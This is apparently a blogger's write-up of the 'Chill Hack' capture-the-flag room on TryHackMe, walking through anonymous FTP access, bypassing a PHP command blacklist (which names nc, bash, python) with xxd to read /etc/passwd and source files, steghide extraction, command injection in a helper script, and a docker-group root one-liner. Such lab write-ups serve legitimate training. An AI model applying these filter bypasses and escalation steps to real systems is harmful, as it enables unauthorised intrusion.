This is my write-up for the room “Chill Hack” from TryHackMe. The room was created by Anurodh.
Enumeration
Starting with a quick threader6000 scan I got nothing… I was too impatient but after waiting a couple of minutes the machine started up and I got the following nmap output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Nmap 7.91 scan initiated Fri Nov 27 16:32:50 2020 as: nmap -p22,21,80 -sV -sC -Pn -T4 -oN 10.10.99.248 10.10.99.248
Nmap scan report for 10.10.99.248
Host is up (0.69s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 1001 1001 90 Oct 03 04:33 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.14.4.66
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 09:f9:5d:b9:18:d0:b2:3a:82:2d:6e:76:8c:c2:01:44 (RSA)
| 256 1b:cf:3a:49:8b:1b:20:b0:2c:6a:a5:51:a8:8f:1e:62 (ECDSA)
|_ 256 30:05:cc:52:c6:6f:65:04:86:0f:72:41:c8:a4:39:cf (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Game Info
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov 27 16:33:03 2020 -- 1 IP address (1 host up) scanned in 13.68 seconds
Looks like there is an FTP service running on port 21
that allows anonymous logins. Nmap also tells us about a file, note.txt
in the directory accessible via FTP. We can download the file by connecting to the service with the ftp
utility and using the GET
command. But before that, we need to authenticate as anonymous.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ftp 10.10.99.248
connected to 10.10.99.248.
220 (vsFTPd 3.0.3)
Name (10.10.99.248:user): anonymous (I'm specifying the user anonymous here)
331 Please specify the password.
Password: anonymous (It's not showing on the screen, but I'm using 'anonymous' again for the password)
230 Login successful.
Remote system type is UNIX
Using binary mode to transfer files.
ftp> GET note.txt
local: note.txt remote: note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (90 bytes).
226 Transfer complete.
90 bytes received in 0.01 secs (7.9159 kB/s)
ftp> bye
221 Goodbye.
The note says the following:
1
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
Looks like we got 2 potential usernames and maybe an indication of a command processing functionality on the webserver. Let’s enumerate that service on port 80 now.
Web service
Navigating to the room’s IP in a browser shows a Game Info
page about upcoming sporting events.
I’m going to run feroxbuster
to check for directories.
There are some errors popping up because of how aggressive feroxbuster is, but we can ignore those and focus on the cool things. Namely, the secret
folder that showed up in the results.
Going to http://<THM-IP>/secret
shows a rather simple input box.
The input box can execute commands, so it gives way for remote command execution (RCE).
However, when I try something like ls -la
I get caught:
Thinking back to the note found on the FTP service, it’s clear that it was referring to this command box. There is some filtering going on. I’ve tested a couple strings to see whether they are filtered: ls, cat, bash, python, rm, less, more, php
I’ve managed to read the /etc/passwd file with xxd
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
aurick:x:1000:1000:Anurodh:/home/aurick:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
apaar:x:1001:1001:,,,:/home/apaar:/bin/bash
anurodh:x:1002:1002:,,,:/home/anurodh:/bin/bash
ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
This shows us that there are 3 users, aurick, apaar
and anurodh
. Next up I tried to read ssh keys from the users’ home directories but that didn’t work. Maybe the www-data user doesn’t have access to the user homedirs. I found out that it’s possible to list files with the echo
command by entering echo *
:
So there is an index.php file… Let’s use xxd
again to read the contents of it by doing xxd index.php
. We can then extract the contents by pressing CTRL+U in the browser (firefox) and copying the hexdump into a text editor and removing the hex parts to get the original code.
The formatted code is a bit ugly but we can work with it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
.
<body>
..
<form method="POST">. <input id="comm" type="text" name="command" placeholder="Command">. <button>Execute</button>.</form>
.<?php. if(isset($_POST['command'])). {. $cmd = $_POST['command'];. $store = explode(" ",$cmd);. $blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');. for($i=0; $i<count($store); $i++). {. for($j=0; $j<count($blacklist); $j++). {. if($store[$i] == $blacklist[$j]).....{?>......
<h1 style="color:red;">Are you a hacker?</h1>
......
<style>.......body.......{........background-image: url('images/FailingMiserableEwe-size_restricted.gif');........background-position: center center;. .......background-repeat: no-repeat;. .......background-attachment: fixed;. .......background-size: cover;.......}.......</style>
.<?php..... return;.....}. }. }...?>
<h2 style="color:blue;"><?php echo shell_exec($cmd);?></h2>
....
<style>. body. {. background-image: url('images/blue_boy_typing_nothought.gif'); ..... background-position: center center;. .... background-repeat: no-repeat;. .... background-attachment: fixed;. .... background-size: cover;.}. </style>
..<?php }.?>.
</body>
.
</html>
.
We can see that the following line specifies the list of blocked strings:
1
$blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');
Using a simple combination of cd and echo, it’s possible to list the contents of the home directories: cd /home/apaar && echo *
shows a single file called local.txt
. Trying to read the file shows nothing. Hmm.. Let’s see what’s inside the other users’ homedir. A whole lot more nothing… We still don’t have access to the user directories.
In the meantime, I’ve found a way to reverse xxd
, so now I can easily read files by saving the hexdump as file.hex and doing xxd -r file.hex > original_file
Executing cd ../../ && echo *
shows that there is another directory, called files
in /var/www/
and it looks like another web directory with php files and an images folder. Looks like there might be some virtual hosts trickery going on here… Trying to access the files
virtual host by adding the IP to my /etc/hosts file didn’t really work out so I manually extracted the files from that web directory. There was one .jpg file that caught my attention so a downloaded it like so:
xxd ../../files/images/hacker-with-laptop_23-2147985341.jpg | base64
Using base64 because it makes it easier to copy the output. Then on kali the file can be converted back to the original format with cat saved_based64 | base64 -d | xxd -r > hacker-with-laptop.jpg
.
After this, I checked the file with binwalk, exiftool, etc and found steghide to be successful. A file backup.zip
can be extracted from the image by doing steghide extract -sf hacker-with-laptop.jpg
(there is no password). The zip file seems to contain some php source code but it’s password protected. Let’s try to crack it with fcrackzip.
User
Looking at the extracted source code, it looks like it’s some kind of login page with hardcoded credentials (base64 encoded)
So with these credentials, we can ssh in but there is no user.txt yet.
However, the anurodh user is able to execute bash script /home/apaar/.helpline.sh
as apaar.
We need to break out of this program and get a shell somehow. helpline.sh
takes in an argument. Maybe it can be abused. Yes! The second argument seems to be vulnerable to command injection:
Entering sh
when asked for the second argument gives us a shell. Perfect.
I’ve generated a new pair of SSH keys and grabbed the id_rsa so I could ssh back to the machine as the apaar user. AAAAND it didn’t work because id_rsa login is probably disabled. I’m going to add my public key to the known hosts. That didn’t work either. The problem is that I don’t know apaar’s password either. Let’s enumerate more.
More enumeration
I remembered that while I was digging around in files with that RCE box on the webserver I’ve seen database credentials. I went back to look at them and the /var/www/files/index.php
file has some mysql creds hardcoded for a root mysql user. I was able to connect to a local mysql instance with those and found a webportal
database. In the users table I found a pair of MD5 hashed passwords for the aurick
user. I cracked the hashes with crackstation but these credentials doesn’t seem to work anywhere.
Root
I spent an hour looking around the filesystem, trying to pivot to different users without luck. Then I exited from the apaar
user back to anurodh
and ran id
again. This was when I noticed that the user is added to the docker group. BINGO!
I ran a quick docker image ls
to check if there are any docker images downloaded on the system, and yes they were! Now it was just a matter of running a GTFO-Bins docker one-liner to get root access:
1
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Conclusion
This was a nice simple machine and my first time getting a partially-unintended solution. The intended way was supposed to involve getting a reverse shell via the RCE, then pivoting to the first user with the helpline.sh and then enumerating the locally hosted webpage for credentials to the user with docker permissions. I managed to skip right into having access to the docker user from the RCE thanks to the magic of enumeration.
Nooting and Rooting!
- Tux